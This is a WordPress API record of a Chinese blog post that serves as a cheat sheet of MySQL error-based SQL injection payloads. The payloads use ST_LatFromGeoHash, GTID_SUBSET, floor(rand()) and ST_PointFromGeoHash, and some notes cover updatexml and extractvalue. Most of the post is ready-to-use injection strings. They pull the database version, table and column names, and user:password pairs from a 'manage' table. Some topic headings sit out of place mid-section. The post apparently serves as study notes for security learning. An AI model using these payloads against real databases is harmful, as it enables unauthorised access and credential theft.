{"id":93,"date":"2025-06-10T22:10:29","date_gmt":"2025-06-10T14:10:29","guid":{"rendered":"https:\/\/danchengjie.cn\/?p=93"},"modified":"2026-03-30T22:16:01","modified_gmt":"2026-03-30T14:16:01","slug":"%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a57%e5%a4%a7%e5%b8%b8%e7%94%a8%e5%87%bd%e6%95%b0","status":"publish","type":"post","link":"https:\/\/danchengjie.cn\/index.php\/2025\/06\/10\/%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a57%e5%a4%a7%e5%b8%b8%e7%94%a8%e5%87%bd%e6%95%b0\/","title":{"rendered":"\u62a5\u9519\u6ce8\u51657\u5927\u5e38\u7528\u51fd\u6570"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.ST_LatFromGeoHash()\uff08mysql&gt;=5.7.x\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">payload<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code><code>and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+<\/code><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2.ST_LongFromGeoHash\uff08mysql&gt;=5.7.x\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">payload<\/h4>\n\n\n\n<p>#\u540c 8 \uff0c\u90fd\u4f7f\u7528\u4e86\u5d4c\u5957\u67e5\u8be2<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3.GTID (MySQL &gt;= 5.6.X &#8211; \u663e\u9519&lt;=200)<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">0x01 GTID<\/h4>\n\n\n\n<p>GTID\u662fMySQL\u6570\u636e\u5e93\u6bcf\u6b21\u63d0\u4ea4\u4e8b\u52a1\u540e\u751f\u6210\u7684\u4e00\u4e2a\u5168\u5c40\u4e8b\u52a1\u6807\u8bc6\u7b26\uff0cGTID\u4e0d\u4ec5\u5728\u672c\u670d\u52a1\u5668\u4e0a\u662f\u552f\u4e00\u7684\uff0c\u5176\u5728\u590d\u5236\u62d3\u6251\u4e2d\u4e5f\u662f\u552f\u4e00\u7684<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">GTID_SUBSET() \u548c GTID_SUBTRACT()\u51fd\u6570<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">0X02 \u51fd\u6570\u8be6\u89e3<\/h4>\n\n\n\n<p>GTID_SUBSET() \u548c GTID_SUBTRACT() \u51fd\u6570\uff0c\u6211\u4eec\u77e5\u9053\u4ed6\u7684\u8f93\u5165\u503c\u662f GTIDset \uff0c\u5f53\u8f93\u5165\u6709\u8bef\u65f6\uff0c\u5c31\u4f1a\u62a5\u9519<\/p>\n\n\n\n<p>GTID_SUBSET( set1 , set2 ) &#8211; \u82e5\u5728 set1 \u4e2d\u7684 GTID\uff0c\u4e5f\u5728 set2 \u4e2d\uff0c\u8fd4\u56de true\uff0c\u5426\u5219\u8fd4\u56de false ( set1 \u662f set2 \u7684\u5b50\u96c6) GTID_SUBTRACT( set1 , set2 ) &#8211; \u8fd4\u56de\u5728 set1 \u4e2d\uff0c\u4e0d\u5728 set2 \u4e2d\u7684 GTID \u96c6\u5408 ( set1 \u4e0e set2 \u7684\u5dee\u96c6)<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">0x03 \u6ce8\u5165\u8fc7\u7a0b( payload )<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>GTID_SUBSET\u51fd\u6570<br>\u200b') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+<\/code><br>\u2002<br>GTID_SUBTRACT<br>\u200b<br><code>') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+<\/code><\/pre>\n\n\n\n<p>\u51fd\u6570\u90fd\u662f\u90a3\u6837\uff0c\u53ea\u662f\u9002\u7528\u7684\u7248\u672c\u4e0d\u540c<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.floor\uff088.x&gt;mysql&gt;5.0\uff09<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u83b7\u53d6\u6570\u636e\u5e93\u7248\u672c\u4fe1\u606f<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+<\/code><\/pre>\n\n\n\n<p>#\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+<\/code><\/pre>\n\n\n\n<p>#\u83b7\u53d6\u8868\u6570\u636e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+<\/code><\/pre>\n\n\n\n<p>#\u83b7\u53d6users\u8868\u91cc\u7684\u6bb5\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">5.ST_Pointfromgeohash (mysql&gt;=5.7)<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u83b7\u53d6\u6570\u636e\u5e93\u7248\u672c\u4fe1\u606f<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>')or ST_PointFromGeoHash(version(),1)--+<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u83b7\u53d6\u8868\u6570\u636e<\/h4>\n\n\n\n<p>sql\u6ce8\u5165\u539f\u56e0<\/p>\n\n\n\n<p>sql\u6ce8\u5165\u5206\u7c7b<\/p>\n\n\n\n<p>sql\u6ce8\u5165\u7ed5\u8fc7 \u4e00\u90e8\u5206<\/p>\n\n\n\n<p>sql\u6ce8\u5165\u9632\u5fa1 waf\u9632\u5fa1 \u8fc7\u6ee4\u51fd\u6570\u6765\u9632\u5fa1 pdo<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u83b7\u53d6users\u8868\u91cc\u7684\u6bb5\u540d<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u83b7\u53d6\u5b57\u6bb5\u91cc\u9762\u7684\u6570\u636e<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">6 updatexml<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">updatexml(1,1,1) \u4e00\u5171\u53ef\u4ee5\u63a5\u6536\u4e09\u4e2a\u53c2\u6570\uff0c\u62a5\u9519\u4f4d\u7f6e\u5728\u7b2c\u4e8c\u4e2a\u53c2\u6570<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">7 extractvalue<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">extractvalue(1,1) \u4e00\u5171\u53ef\u4ee5\u63a5\u6536\u4e24\u4e2a\u53c2\u6570\uff0c\u62a5\u9519\u4f4d\u7f6e\u5728\u7b2c\u4e8c\u4e2a\u53c2\u6570<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>1.ST_LatFromGeoHash()\uff08mysql&gt;=5.7.x\uff09 payload 2.ST_Lon [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[14,15],"class_list":["post-93","post","type-post","status-publish","format-standard","hentry","category-stcs","tag-mysql","tag-15"],"_links":{"self":[{"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/posts\/93","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/comments?post=93"}],"version-history":[{"count":1,"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/posts\/93\/revisions"}],"predecessor-version":[{"id":94,"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/posts\/93\/revisions\/94"}],"wp:attachment":[{"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/media?parent=93"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/categories?post=93"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/danchengjie.cn\/index.php\/wp-json\/wp\/v2\/tags?post=93"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}